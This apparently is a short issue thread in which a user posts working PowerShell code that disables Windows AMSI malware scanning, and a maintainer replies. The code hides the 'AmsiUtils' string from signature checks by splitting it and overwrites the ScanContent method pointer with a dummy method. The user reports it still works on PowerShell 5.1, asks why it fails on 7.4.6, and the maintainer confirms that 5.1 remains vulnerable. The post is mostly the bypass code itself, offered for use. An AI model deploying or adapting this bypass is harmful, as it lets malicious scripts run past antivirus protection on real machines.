Does the monkeypatch still work?

[par-retest]

Hi!

The only way I found for this to not trigger AMSI is:

function coucou { 'System.Management.Automation.AmsiUtil'+ 's' };
class Coucou{static [int] M([string]$c, [string]$s){ return 1}}

$x = [Ref].Assembly.GetType;
$ty = $x.Invoke((coucou));
$sc = $ty.GetMethods('Nonpublic,static') | Where-Object Name -eq ScanContent
$t = [Coucou].GetMethods() | Where-Object Name -eq 'M'

[System.Runtime.InteropServices.Marshal]::Copy(@([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$t.MethodHandle.Value + [long]8)),0, [long]$sc.MethodHandle.Value + [long]8,1)

Which does go through properly - however, the AMSI is definitely still working after this.
What am I missing? How do you usually debug this?
I'm testing this against powershell 7.4.6 - it's working against earlier versions (e.g. 5.1), but not 7.4.6

Cheers,
Paul

[cybersectroll]

Does the monkeypatch still work?

Yes it still works for 5.1.

Does it work for 7.4.6 ?

I have not tested it here, but it depends on how AMSI is implemented on this version. The monkeypatching logic should work fine but its a question of whether patching ScanContent does anything to break AMSI, which for the case of 5.1 still works.